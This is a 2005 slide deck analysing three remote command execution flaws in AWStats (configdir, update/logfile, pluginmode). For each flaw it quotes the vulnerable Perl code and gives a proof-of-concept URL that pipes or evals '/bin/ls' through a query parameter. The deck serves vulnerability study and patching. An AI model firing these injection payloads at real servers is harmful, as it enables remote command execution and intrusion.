

AWStats Vulnerability Analysis

newbug [at] chroot.org

Jan. 21, 2005

Outline

- What's *AWStats*
- `configdir`
- `update & logfile`
- `pluginmode`

What's AWStats

- AWStats is a free powerful and featureful tool that generates advanced web, ftp or mail server statistics, graphically.
- <http://awstats.sourceforge.net/>

What's AWStats (cont.)

Statistics for awstats.sourceforge.net (2005-01) - Mozilla Firefox

File Edit View Go Bookmarks Tools Help

http://awstats.sourceforge.net/cgi-bin/awstats.pl

我的家族 Firefox Help 類股 Firefox Support Close Window Plug-in FAQ

統計網站: awstats.sourceforge.net

最近更新: 2005年 1月 15日 06:23

報表日期: 1月 2005 OK

摘要

報表日期 月份 1月 2005
 首次參觀日期 2005年 1月 01日 00:00
 最近參觀日期 2005年 1月 15日 06:26

	參觀者	參觀次數	網頁數	點擊數	位元組
普通流量 *	35433	44478 (1.25 參觀次數/參觀者)	61443 (1.38 網頁數/參觀次數)	61948 (1.39 點擊數/參觀次數)	1.04 GB (24.57 KB/參觀次數)
看不到"的流量 *			17	17	64.22 KB

* 看不到"的流量是由搜索機器人(Robots),蠕蟲或特別的 HTTP 回覆引致的。

每月記錄

月份	參觀者	參觀次數	網頁數	點擊數	位元組
1月 2005	35433	44478	61443	61948	1.04 GB
2月 2005	0	0	0	0	0
3月 2005	0	0	0	0	0
4月 2005	0	0	0	0	0
5月 2005	0	0	0	0	0
6月 2005	0	0	0	0	0
7月 2005	0	0	0	0	0
8月 2005	0	0	0	0	0

Done

What's AWStats (cont.)

Statistics for awstats.sourceforge.net (2005-01) - Mozilla Firefox

File Edit View Go Bookmarks Tools Help

http://awstats.sourceforge.net/cgi-bin/awstats.pl

我的家族 Firefox Help 類股 Firefox Support Close Window Plug-in FAQ

統計網站: awstats.sourceforge.net

最近更新: 2005年 1月 15日 06:23

報表日期: 1月 2005 OK

回到主頁

包含: 過濾: OK

入站處

總數: 18 個不同的網頁

	存取次數	平均大小	入站處	出站處
/	59841	18.15 KB	43651	43496
/js/awstats_misc_tracker.jsnojsy	950		720	531
/awstats_whp.php	473	4.43 KB	30	252
/search	34	23.81 KB	25	18
/translate_c	59	32.10 KB	11	26
\'+escape(document.location)+\'	9		8	3
http://awstats.sourceforge.net	16	32.15 KB	8	9
function+f(){+[native+code]+}	5		5	5
/world/english/web/body/	9	23.97 KB	4	7
/language/translation/translatedPage2.php	4	39.54 KB	4	3
/language/translatedPage2	6	34.68 KB	3	1
/bafelfish/trurl_pagecontent	14	34.97 KB	3	5
/DOWNLOAD	1	32.11 KB	1	
/COMPARISON	1	32.11 KB	1	1
//	2	32.11 KB	1	2
/users/pruebas/tareas.php	1		1	1
/search/cache	1	34.95 KB	1	
http%3A/awstats.sourceforge.net/	1	36.82 KB	1	1
其他	16	14.05 KB		8

Advanced Web Statistics 6.3 (build 1.797) - Created by awstats (plugins: geoipfree, tooltips)

Done

configdir

- Vulnerability Version : 5.7 – 6.2

- Description :

The "searchdir" variables hold the value of the parameter provided by the attacker from "configdir." An attacker can cause arbitrary commands to be executed by prefixing them with the "|" character

- Remote command execution

- Reference URL

<http://www.securiteam.com/securitynews/5MP0B2AEKS.html>

configdir (cont.)

■ Analysis

awstats.pl 6.2 Read_Config function line 1089 – 1100 :

```
my $configdir=shift;
my @PossibleConfigDir=();
if ($configdir) { @PossibleConfigDir=("$configdir"); }
else {
@PossibleConfigDir=
("$DIR", "/etc/awstats", "/usr/local/etc/awstats", "/etc", "/etc/opt/awstats");
}
# Open config file
$FileConfig=$FileSuffix="";
foreach (@PossibleConfigDir) {
my $searchdir=$_;
if ($searchdir && $searchdir !~ /[\\\/]$/) { $searchdir .= "/"; }
if (open(CONFIG, "$searchdir$PROG.$SiteConfig.conf"))
{
    $FileConfig="$searchdir$PROG.$SiteConfig.conf";
    $FileSuffix=".$SiteConfig"; last;
}
}
```

configdir (cont.)

■ Exploit

Cause arbitrary commands to be executed by “configdir” prefixing with the “|” character.

For example :

```
lynx "http://xxx/awstats/awstats.pl?configdir=|/bin/ls|"
```


update & logfile

- Vulnerability Version : 5.4 – 6.1
- Description :
System may be vulnerable if allow remote user to update page.
(a.k.a. AllowToUpdateStatsFromBrowser=1)
- Remote command execution

update & logfile (cont.)

■ Analysis

awstats.pl 6.1 line 5668 :

```
if ($UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft') {
```

```
.  
. .  
.
```

line 5782 :

```
open(LOG,"$LogFile") || error("Couldn't open server log file \"\$LogFile\" : $!");
```

update & logfile (cont.)

■ Exploit

Cause arbitrary commands to be executed by “logfile” prefixing with the “|” character if update is allowed.

For example :

lynx \

“http://xxx/cgi-bin/awstats.pl?update=1&logfile=|/bin/ls|”

pluginmode

- Vulnerability Version : 5.7 – 6.2
- Description :
System may be composed by “pluginmode”.
- Remote command execution

pluginmode (cont.)

■ Analysis

awstats.pl 6.1 line 5521 – 5527 :

AWStats output is replaced by a plugin output

```
if ($PluginMode) {  
    my $function="BuildFullHTMLOutput_{$PluginMode}";  
    eval("$function");  
    if ($? || $@) { error("$@"); }  
        &html_end(0);  
    exit 0;  
}
```

pluginmode (cont.)

■ Exploit

Cause arbitrary commands to be executed by special craft “pluginmode”.

For example :

lynx \

“[http://xxx/awstats/awstats.pl?pluginmode=:system \(/bin/ls\);](http://xxx/awstats/awstats.pl?pluginmode=:system (/bin/ls);)”